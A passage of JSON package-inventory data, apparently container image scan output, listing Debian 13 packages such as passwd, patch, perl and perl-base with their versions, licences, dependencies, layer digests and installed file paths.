"1~deb13u2", "Arch": "amd64", "SrcName": "openssl", "SrcVersion": "3.5.4", "SrcRelease": "1~deb13u2", "Licenses": [ "Apache-2.0", "Artistic-2.0", "GPL-1.0-or-later", "GPL-1.0-only" ], "Maintainer": "Debian OpenSSL Team \u003cpkg-openssl-devel@alioth-lists.debian.net\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "libssl3t64@3.5.4-1~deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/ossl-modules/legacy.so", "/usr/share/doc/openssl-provider-legacy/changelog.Debian.gz", "/usr/share/doc/openssl-provider-legacy/changelog.gz", "/usr/share/doc/openssl-provider-legacy/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "passwd@1:4.17.4-2", "Name": "passwd", "Identifier": { "PURL": "pkg:deb/debian/passwd@4.17.4-2?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "97a8e708d58db4b1" }, "Version": "4.17.4", "Release": "2", "Epoch": 1, "Arch": "amd64", "SrcName": "shadow", "SrcVersion": "4.17.4", "SrcRelease": "2", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-1.0-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "base-passwd@3.6.7", "libacl1@2.3.2-2+b1", "libattr1@1:2.5.2-3", "libaudit1@1:4.0.2-2+b2", "libbsd0@0.12.2-2", "libc6@2.41-12+deb13u2", "libcrypt1@1:4.4.38-1", "libpam-modules@1.7.0-5", "libpam0g@1.7.0-5", "libselinux1@3.8.1-1", "libsemanage2@3.8.1-1", "login.defs@1:4.17.4-2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/chage", "/usr/bin/chfn", "/usr/bin/chsh", "/usr/bin/expiry", "/usr/bin/gpasswd", "/usr/bin/passwd", "/usr/lib/tmpfiles.d/passwd.conf", "/usr/sbin/chgpasswd", "/usr/sbin/chpasswd", "/usr/sbin/groupadd", "/usr/sbin/groupdel", "/usr/sbin/groupmod", "/usr/sbin/grpck", "/usr/sbin/grpconv", "/usr/sbin/grpunconv", "/usr/sbin/newusers", "/usr/sbin/pwck", "/usr/sbin/pwconv", "/usr/sbin/pwunconv", "/usr/sbin/shadowconfig", "/usr/sbin/useradd", "/usr/sbin/userdel", "/usr/sbin/usermod", "/usr/sbin/vipw", "/usr/share/doc/passwd/NEWS.Debian.gz", "/usr/share/doc/passwd/README.Debian", "/usr/share/doc/passwd/TODO.Debian", "/usr/share/doc/passwd/changelog.Debian.gz", "/usr/share/doc/passwd/changelog.gz", "/usr/share/doc/passwd/copyright", "/usr/share/doc/passwd/examples/passwd.expire.cron", "/usr/share/lintian/overrides/passwd", "/usr/share/locale/bs/LC_MESSAGES/shadow.mo", "/usr/share/locale/ca/LC_MESSAGES/shadow.mo", "/usr/share/locale/cs/LC_MESSAGES/shadow.mo", "/usr/share/locale/da/LC_MESSAGES/shadow.mo", "/usr/share/locale/de/LC_MESSAGES/shadow.mo", "/usr/share/locale/dz/LC_MESSAGES/shadow.mo", "/usr/share/locale/el/LC_MESSAGES/shadow.mo", "/usr/share/locale/es/LC_MESSAGES/shadow.mo", "/usr/share/locale/eu/LC_MESSAGES/shadow.mo", "/usr/share/locale/fi/LC_MESSAGES/shadow.mo", "/usr/share/locale/fr/LC_MESSAGES/shadow.mo", "/usr/share/locale/gl/LC_MESSAGES/shadow.mo", "/usr/share/locale/he/LC_MESSAGES/shadow.mo", "/usr/share/locale/hu/LC_MESSAGES/shadow.mo", "/usr/share/locale/id/LC_MESSAGES/shadow.mo", "/usr/share/locale/it/LC_MESSAGES/shadow.mo", "/usr/share/locale/ja/LC_MESSAGES/shadow.mo", "/usr/share/locale/ka/LC_MESSAGES/shadow.mo", "/usr/share/locale/kk/LC_MESSAGES/shadow.mo", "/usr/share/locale/km/LC_MESSAGES/shadow.mo", "/usr/share/locale/ko/LC_MESSAGES/shadow.mo", "/usr/share/locale/nb/LC_MESSAGES/shadow.mo", "/usr/share/locale/ne/LC_MESSAGES/shadow.mo", "/usr/share/locale/nl/LC_MESSAGES/shadow.mo", "/usr/share/locale/nn/LC_MESSAGES/shadow.mo", "/usr/share/locale/pl/LC_MESSAGES/shadow.mo", "/usr/share/locale/pt/LC_MESSAGES/shadow.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/shadow.mo", "/usr/share/locale/ro/LC_MESSAGES/shadow.mo", "/usr/share/locale/ru/LC_MESSAGES/shadow.mo", "/usr/share/locale/sk/LC_MESSAGES/shadow.mo", "/usr/share/locale/sq/LC_MESSAGES/shadow.mo", "/usr/share/locale/sv/LC_MESSAGES/shadow.mo", "/usr/share/locale/tl/LC_MESSAGES/shadow.mo", "/usr/share/locale/tr/LC_MESSAGES/shadow.mo", "/usr/share/locale/uk/LC_MESSAGES/shadow.mo", "/usr/share/locale/vi/LC_MESSAGES/shadow.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/shadow.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/shadow.mo", "/usr/share/man/cs/man1/expiry.1.gz", "/usr/share/man/cs/man1/gpasswd.1.gz", "/usr/share/man/cs/man5/gshadow.5.gz", "/usr/share/man/cs/man5/passwd.5.gz", "/usr/share/man/cs/man5/shadow.5.gz", "/usr/share/man/cs/man8/groupadd.8.gz", "/usr/share/man/cs/man8/groupdel.8.gz", "/usr/share/man/cs/man8/groupmod.8.gz", "/usr/share/man/cs/man8/grpck.8.gz", "/usr/share/man/cs/man8/vipw.8.gz", "/usr/share/man/da/man1/chfn.1.gz", "/usr/share/man/da/man5/gshadow.5.gz", "/usr/share/man/da/man8/groupdel.8.gz", "/usr/share/man/da/man8/vipw.8.gz", "/usr/share/man/de/man1/chage.1.gz", "/usr/share/man/de/man1/chfn.1.gz", "/usr/share/man/de/man1/chsh.1.gz", "/usr/share/man/de/man1/expiry.1.gz", "/usr/share/man/de/man1/gpasswd.1.gz", "/usr/share/man/de/man1/passwd.1.gz", "/usr/share/man/de/man5/gshadow.5.gz", "/usr/share/man/de/man5/passwd.5.gz", "/usr/share/man/de/man5/shadow.5.gz", "/usr/share/man/de/man8/chgpasswd.8.gz", "/usr/share/man/de/man8/chpasswd.8.gz", "/usr/share/man/de/man8/groupadd.8.gz", "/usr/share/man/de/man8/groupdel.8.gz", "/usr/share/man/de/man8/groupmod.8.gz", "/usr/share/man/de/man8/grpck.8.gz", "/usr/share/man/de/man8/newusers.8.gz", "/usr/share/man/de/man8/pwck.8.gz", "/usr/share/man/de/man8/pwconv.8.gz", "/usr/share/man/de/man8/useradd.8.gz", "/usr/share/man/de/man8/userdel.8.gz", "/usr/share/man/de/man8/usermod.8.gz", "/usr/share/man/de/man8/vipw.8.gz", "/usr/share/man/fi/man1/chfn.1.gz", "/usr/share/man/fi/man1/chsh.1.gz", "/usr/share/man/fr/man1/chage.1.gz", "/usr/share/man/fr/man1/chfn.1.gz", "/usr/share/man/fr/man1/chsh.1.gz", "/usr/share/man/fr/man1/expiry.1.gz", "/usr/share/man/fr/man1/gpasswd.1.gz", "/usr/share/man/fr/man1/passwd.1.gz", "/usr/share/man/fr/man5/gshadow.5.gz", "/usr/share/man/fr/man5/passwd.5.gz", "/usr/share/man/fr/man5/shadow.5.gz", "/usr/share/man/fr/man5/subgid.5.gz", "/usr/share/man/fr/man5/subuid.5.gz", "/usr/share/man/fr/man8/chgpasswd.8.gz", "/usr/share/man/fr/man8/chpasswd.8.gz", "/usr/share/man/fr/man8/groupadd.8.gz", "/usr/share/man/fr/man8/groupdel.8.gz", "/usr/share/man/fr/man8/groupmod.8.gz", "/usr/share/man/fr/man8/grpck.8.gz", "/usr/share/man/fr/man8/newusers.8.gz", "/usr/share/man/fr/man8/pwck.8.gz", "/usr/share/man/fr/man8/pwconv.8.gz", "/usr/share/man/fr/man8/useradd.8.gz", "/usr/share/man/fr/man8/userdel.8.gz", "/usr/share/man/fr/man8/usermod.8.gz", "/usr/share/man/fr/man8/vipw.8.gz", "/usr/share/man/hu/man1/chsh.1.gz", "/usr/share/man/hu/man1/gpasswd.1.gz", "/usr/share/man/hu/man1/passwd.1.gz", "/usr/share/man/hu/man5/passwd.5.gz", "/usr/share/man/id/man1/chsh.1.gz", "/usr/share/man/id/man8/useradd.8.gz", "/usr/share/man/it/man1/chage.1.gz", "/usr/share/man/it/man1/chfn.1.gz", "/usr/share/man/it/man1/chsh.1.gz", "/usr/share/man/it/man1/expiry.1.gz", "/usr/share/man/it/man1/gpasswd.1.gz", "/usr/share/man/it/man1/passwd.1.gz", "/usr/share/man/it/man5/gshadow.5.gz", "/usr/share/man/it/man5/passwd.5.gz", "/usr/share/man/it/man5/shadow.5.gz", "/usr/share/man/it/man8/chgpasswd.8.gz", "/usr/share/man/it/man8/chpasswd.8.gz", "/usr/share/man/it/man8/groupadd.8.gz", "/usr/share/man/it/man8/groupdel.8.gz", "/usr/share/man/it/man8/groupmod.8.gz", "/usr/share/man/it/man8/grpck.8.gz", "/usr/share/man/it/man8/newusers.8.gz", "/usr/share/man/it/man8/pwck.8.gz", "/usr/share/man/it/man8/pwconv.8.gz", "/usr/share/man/it/man8/useradd.8.gz", "/usr/share/man/it/man8/userdel.8.gz", "/usr/share/man/it/man8/usermod.8.gz", "/usr/share/man/it/man8/vipw.8.gz", "/usr/share/man/ja/man1/chage.1.gz", "/usr/share/man/ja/man1/chfn.1.gz", "/usr/share/man/ja/man1/chsh.1.gz", "/usr/share/man/ja/man1/expiry.1.gz", "/usr/share/man/ja/man1/gpasswd.1.gz", "/usr/share/man/ja/man1/passwd.1.gz", "/usr/share/man/ja/man5/passwd.5.gz", "/usr/share/man/ja/man5/shadow.5.gz", "/usr/share/man/ja/man8/chpasswd.8.gz", "/usr/share/man/ja/man8/groupadd.8.gz", "/usr/share/man/ja/man8/groupdel.8.gz", "/usr/share/man/ja/man8/groupmod.8.gz", "/usr/share/man/ja/man8/grpck.8.gz", "/usr/share/man/ja/man8/newusers.8.gz", "/usr/share/man/ja/man8/pwck.8.gz", "/usr/share/man/ja/man8/pwconv.8.gz", "/usr/share/man/ja/man8/useradd.8.gz", "/usr/share/man/ja/man8/userdel.8.gz", "/usr/share/man/ja/man8/usermod.8.gz", "/usr/share/man/ja/man8/vipw.8.gz", "/usr/share/man/ko/man1/chfn.1.gz", "/usr/share/man/ko/man1/chsh.1.gz", "/usr/share/man/ko/man5/passwd.5.gz", "/usr/share/man/ko/man8/vipw.8.gz", "/usr/share/man/man1/chage.1.gz", "/usr/share/man/man1/chfn.1.gz", "/usr/share/man/man1/chsh.1.gz", "/usr/share/man/man1/expiry.1.gz", "/usr/share/man/man1/gpasswd.1.gz", "/usr/share/man/man1/passwd.1.gz", "/usr/share/man/man5/gshadow.5.gz", "/usr/share/man/man5/passwd.5.gz", "/usr/share/man/man5/shadow.5.gz", "/usr/share/man/man5/subgid.5.gz", "/usr/share/man/man5/subuid.5.gz", "/usr/share/man/man8/chgpasswd.8.gz", "/usr/share/man/man8/chpasswd.8.gz", "/usr/share/man/man8/groupadd.8.gz", "/usr/share/man/man8/groupdel.8.gz", "/usr/share/man/man8/groupmod.8.gz", "/usr/share/man/man8/grpck.8.gz", "/usr/share/man/man8/newusers.8.gz", "/usr/share/man/man8/pwck.8.gz", "/usr/share/man/man8/pwconv.8.gz", "/usr/share/man/man8/shadowconfig.8.gz", "/usr/share/man/man8/useradd.8.gz", "/usr/share/man/man8/userdel.8.gz", "/usr/share/man/man8/usermod.8.gz", "/usr/share/man/man8/vipw.8.gz", "/usr/share/man/pl/man1/chage.1.gz", "/usr/share/man/pl/man1/chsh.1.gz", "/usr/share/man/pl/man1/expiry.1.gz", "/usr/share/man/pl/man8/groupadd.8.gz", "/usr/share/man/pl/man8/groupdel.8.gz", "/usr/share/man/pl/man8/groupmod.8.gz", "/usr/share/man/pl/man8/grpck.8.gz", "/usr/share/man/pl/man8/userdel.8.gz", "/usr/share/man/pl/man8/usermod.8.gz", "/usr/share/man/pl/man8/vipw.8.gz", "/usr/share/man/pt_BR/man1/gpasswd.1.gz", "/usr/share/man/pt_BR/man5/passwd.5.gz", "/usr/share/man/pt_BR/man5/shadow.5.gz", "/usr/share/man/pt_BR/man8/groupadd.8.gz", "/usr/share/man/pt_BR/man8/groupdel.8.gz", "/usr/share/man/pt_BR/man8/groupmod.8.gz", "/usr/share/man/ru/man1/chage.1.gz", "/usr/share/man/ru/man1/chfn.1.gz", "/usr/share/man/ru/man1/chsh.1.gz", "/usr/share/man/ru/man1/expiry.1.gz", "/usr/share/man/ru/man1/gpasswd.1.gz", "/usr/share/man/ru/man1/passwd.1.gz", "/usr/share/man/ru/man5/gshadow.5.gz", "/usr/share/man/ru/man5/passwd.5.gz", "/usr/share/man/ru/man5/shadow.5.gz", "/usr/share/man/ru/man8/chgpasswd.8.gz", "/usr/share/man/ru/man8/chpasswd.8.gz", "/usr/share/man/ru/man8/groupadd.8.gz", "/usr/share/man/ru/man8/groupdel.8.gz", "/usr/share/man/ru/man8/groupmod.8.gz", "/usr/share/man/ru/man8/grpck.8.gz", "/usr/share/man/ru/man8/newusers.8.gz", "/usr/share/man/ru/man8/pwck.8.gz", "/usr/share/man/ru/man8/pwconv.8.gz", "/usr/share/man/ru/man8/useradd.8.gz", "/usr/share/man/ru/man8/userdel.8.gz", "/usr/share/man/ru/man8/usermod.8.gz", "/usr/share/man/ru/man8/vipw.8.gz", "/usr/share/man/sv/man1/chage.1.gz", "/usr/share/man/sv/man1/chsh.1.gz", "/usr/share/man/sv/man1/expiry.1.gz", "/usr/share/man/sv/man1/passwd.1.gz", "/usr/share/man/sv/man5/gshadow.5.gz", "/usr/share/man/sv/man5/passwd.5.gz", "/usr/share/man/sv/man8/groupadd.8.gz", "/usr/share/man/sv/man8/groupdel.8.gz", "/usr/share/man/sv/man8/groupmod.8.gz", "/usr/share/man/sv/man8/grpck.8.gz", "/usr/share/man/sv/man8/pwck.8.gz", "/usr/share/man/sv/man8/userdel.8.gz", "/usr/share/man/sv/man8/vipw.8.gz", "/usr/share/man/tr/man1/chage.1.gz", "/usr/share/man/tr/man1/chfn.1.gz", "/usr/share/man/tr/man1/passwd.1.gz", "/usr/share/man/tr/man5/passwd.5.gz", "/usr/share/man/tr/man5/shadow.5.gz", "/usr/share/man/tr/man8/groupadd.8.gz", "/usr/share/man/tr/man8/groupdel.8.gz", "/usr/share/man/tr/man8/groupmod.8.gz", "/usr/share/man/tr/man8/useradd.8.gz", "/usr/share/man/tr/man8/userdel.8.gz", "/usr/share/man/tr/man8/usermod.8.gz", "/usr/share/man/uk/man1/chage.1.gz", "/usr/share/man/uk/man1/chfn.1.gz", "/usr/share/man/uk/man1/chsh.1.gz", "/usr/share/man/uk/man1/expiry.1.gz", "/usr/share/man/uk/man1/gpasswd.1.gz", "/usr/share/man/uk/man1/passwd.1.gz", "/usr/share/man/uk/man5/gshadow.5.gz", "/usr/share/man/uk/man5/passwd.5.gz", "/usr/share/man/uk/man5/shadow.5.gz", "/usr/share/man/uk/man8/chgpasswd.8.gz", "/usr/share/man/uk/man8/chpasswd.8.gz", "/usr/share/man/uk/man8/groupadd.8.gz", "/usr/share/man/uk/man8/groupdel.8.gz", "/usr/share/man/uk/man8/groupmod.8.gz", "/usr/share/man/uk/man8/grpck.8.gz", "/usr/share/man/uk/man8/newusers.8.gz", "/usr/share/man/uk/man8/pwck.8.gz", "/usr/share/man/uk/man8/pwconv.8.gz", "/usr/share/man/uk/man8/useradd.8.gz", "/usr/share/man/uk/man8/userdel.8.gz", "/usr/share/man/uk/man8/usermod.8.gz", "/usr/share/man/uk/man8/vipw.8.gz", "/usr/share/man/zh_CN/man1/chage.1.gz", "/usr/share/man/zh_CN/man1/chfn.1.gz", "/usr/share/man/zh_CN/man1/chsh.1.gz", "/usr/share/man/zh_CN/man1/expiry.1.gz", "/usr/share/man/zh_CN/man1/gpasswd.1.gz", "/usr/share/man/zh_CN/man1/passwd.1.gz", "/usr/share/man/zh_CN/man5/gshadow.5.gz", "/usr/share/man/zh_CN/man5/passwd.5.gz", "/usr/share/man/zh_CN/man5/shadow.5.gz", "/usr/share/man/zh_CN/man8/chgpasswd.8.gz", "/usr/share/man/zh_CN/man8/chpasswd.8.gz", "/usr/share/man/zh_CN/man8/groupadd.8.gz", "/usr/share/man/zh_CN/man8/groupdel.8.gz", "/usr/share/man/zh_CN/man8/groupmod.8.gz", "/usr/share/man/zh_CN/man8/grpck.8.gz", "/usr/share/man/zh_CN/man8/newusers.8.gz", "/usr/share/man/zh_CN/man8/pwck.8.gz", "/usr/share/man/zh_CN/man8/pwconv.8.gz", "/usr/share/man/zh_CN/man8/useradd.8.gz", "/usr/share/man/zh_CN/man8/userdel.8.gz", "/usr/share/man/zh_CN/man8/usermod.8.gz", "/usr/share/man/zh_CN/man8/vipw.8.gz", "/usr/share/man/zh_TW/man1/chfn.1.gz", "/usr/share/man/zh_TW/man1/chsh.1.gz", "/usr/share/man/zh_TW/man5/passwd.5.gz", "/usr/share/man/zh_TW/man8/chpasswd.8.gz", "/usr/share/man/zh_TW/man8/groupadd.8.gz", "/usr/share/man/zh_TW/man8/groupdel.8.gz", "/usr/share/man/zh_TW/man8/groupmod.8.gz", "/usr/share/man/zh_TW/man8/useradd.8.gz", "/usr/share/man/zh_TW/man8/userdel.8.gz", "/usr/share/man/zh_TW/man8/usermod.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "patch@2.8-2", "Name": "patch", "Identifier": { "PURL": "pkg:deb/debian/patch@2.8-2?arch=amd64\u0026distro=debian-13.3", "UID": "b52bfccb67996b1b" }, "Version": "2.8", "Release": "2", "Arch": "amd64", "SrcName": "patch", "SrcVersion": "2.8", "SrcRelease": "2", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only" ], "Maintainer": "Laszlo Boszormenyi (GCS) \u003cgcs@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/patch", "/usr/share/doc/patch/AUTHORS", "/usr/share/doc/patch/NEWS.gz", "/usr/share/doc/patch/README", "/usr/share/doc/patch/changelog.Debian.gz", "/usr/share/doc/patch/changelog.gz", "/usr/share/doc/patch/copyright", "/usr/share/man/man1/patch.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl@5.40.1-6", "Name": "perl", "Identifier": { "PURL": "pkg:deb/debian/perl@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "557491d5d25d44f8" }, "Version": "5.40.1", "Release": "6", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libperl5.40@5.40.1-6", "perl-base@5.40.1-6", "perl-modules-5.40@5.40.1-6" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/bin/corelist", "/usr/bin/cpan", "/usr/bin/enc2xs", "/usr/bin/encguess", "/usr/bin/h2ph", "/usr/bin/h2xs", "/usr/bin/instmodsh", "/usr/bin/json_pp", "/usr/bin/libnetcfg", "/usr/bin/perlbug", "/usr/bin/perldoc", "/usr/bin/perlivp", "/usr/bin/perlthanks", "/usr/bin/piconv", "/usr/bin/pl2pm", "/usr/bin/pod2html", "/usr/bin/pod2man", "/usr/bin/pod2text", "/usr/bin/pod2usage", "/usr/bin/podchecker", "/usr/bin/prove", "/usr/bin/ptar", "/usr/bin/ptardiff", "/usr/bin/ptargrep", "/usr/bin/shasum", "/usr/bin/splain", "/usr/bin/streamzip", "/usr/bin/xsubpp", "/usr/bin/zipdetails", "/usr/share/doc/perl/README.Debian", "/usr/share/doc/perl/changelog.Debian.gz", "/usr/share/doc/perl/changelog.gz", "/usr/share/doc/perl/copyright", "/usr/share/lintian/overrides/perl", "/usr/share/man/man1/corelist.1.gz", "/usr/share/man/man1/cpan.1.gz", "/usr/share/man/man1/enc2xs.1.gz", "/usr/share/man/man1/encguess.1.gz", "/usr/share/man/man1/h2ph.1.gz", "/usr/share/man/man1/h2xs.1.gz", "/usr/share/man/man1/instmodsh.1.gz", "/usr/share/man/man1/json_pp.1.gz", "/usr/share/man/man1/libnetcfg.1.gz", "/usr/share/man/man1/perlbug.1.gz", "/usr/share/man/man1/perlivp.1.gz", "/usr/share/man/man1/piconv.1.gz", "/usr/share/man/man1/pl2pm.1.gz", "/usr/share/man/man1/pod2html.1.gz", "/usr/share/man/man1/pod2man.1.gz", "/usr/share/man/man1/pod2text.1.gz", "/usr/share/man/man1/pod2usage.1.gz", "/usr/share/man/man1/podchecker.1.gz", "/usr/share/man/man1/prove.1.gz", "/usr/share/man/man1/ptar.1.gz", "/usr/share/man/man1/ptardiff.1.gz", "/usr/share/man/man1/ptargrep.1.gz", "/usr/share/man/man1/shasum.1.gz", "/usr/share/man/man1/splain.1.gz", "/usr/share/man/man1/streamzip.1.gz", "/usr/share/man/man1/xsubpp.1.gz", "/usr/share/man/man1/zipdetails.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl-base@5.40.1-6", "Name": "perl-base", "Identifier": { "PURL": "pkg:deb/debian/perl-base@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "546ba1bdcd66d61" }, "Version": "5.40.1", "Release": "6", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/bin/perl", "/usr/bin/perl5.40.1", "/usr/lib/x86_64-linux-gnu/perl-base/AutoLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Carp.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Carp/Heavy.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Config.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Config_git.pl", "/usr/lib/x86_64-linux-gnu/perl-base/Config_heavy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/Cwd.pm", "/usr/lib/x86_64-linux-gnu/perl-base/DynaLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Errno.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Exporter.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Exporter/Heavy.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Fcntl.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Basename.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Glob.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Path.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Spec.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Spec/Unix.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm", "/usr/lib/x86_64-linux-gnu/perl-base/FileHandle.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Getopt/Long.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Getopt/Long/Parser.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Hash/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/File.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Handle.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Pipe.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Seekable.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Select.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/INET.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/IP.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/UNIX.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IPC/Open2.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IPC/Open3.pm", "/usr/lib/x86_64-linux-gnu/perl-base/List/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/POSIX.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Scalar/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/SelectSaver.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Symbol.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/ParseWords.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/Tabs.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/Wrap.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Tie/Hash.pm", "/usr/lib/x86_64-linux-gnu/perl-base/XSLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/attributes.pm", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Cwd/Cwd.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Fcntl/Fcntl.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/File/Glob/Glob.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Hash/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/IO/IO.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/List/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/POSIX/POSIX.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Socket/Socket.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/attributes/attributes.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/re/re.so", "/usr/lib/x86_64-linux-gnu/perl-base/base.pm", "/usr/lib/x86_64-linux-gnu/perl-base/builtin.pm", "/usr/lib/x86_64-linux-gnu/perl-base/bytes.pm", "/usr/lib/x86_64-linux-gnu/perl-base/constant.pm", "/usr/lib/x86_64-linux-gnu/perl-base/feature.pm", "/usr/lib/x86_64-linux-gnu/perl-base/fields.pm", "/usr/lib/x86_64-linux-gnu/perl-base/integer.pm", "/usr/lib/x86_64-linux-gnu/perl-base/lib.pm", "/usr/lib/x86_64-linux-gnu/perl-base/locale.pm", "/usr/lib/x86_64-linux-gnu/perl-base/overload.pm", "/usr/lib/x86_64-linux-gnu/perl-base/overloading.pm", "/usr/lib/x86_64-linux-gnu/perl-base/parent.pm", "/usr/lib/x86_64-linux-gnu/perl-base/re.pm", "/usr/lib/x86_64-linux-gnu/perl-base/strict.pm", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Age.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bmg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bpb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Bpt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Cf.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Ea.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/EqUIdeo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/GCB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Gc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Hst.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Identif2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Identifi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/InPC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/InSC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Isc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Jg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Jt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Lb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/To/Lc.pl", 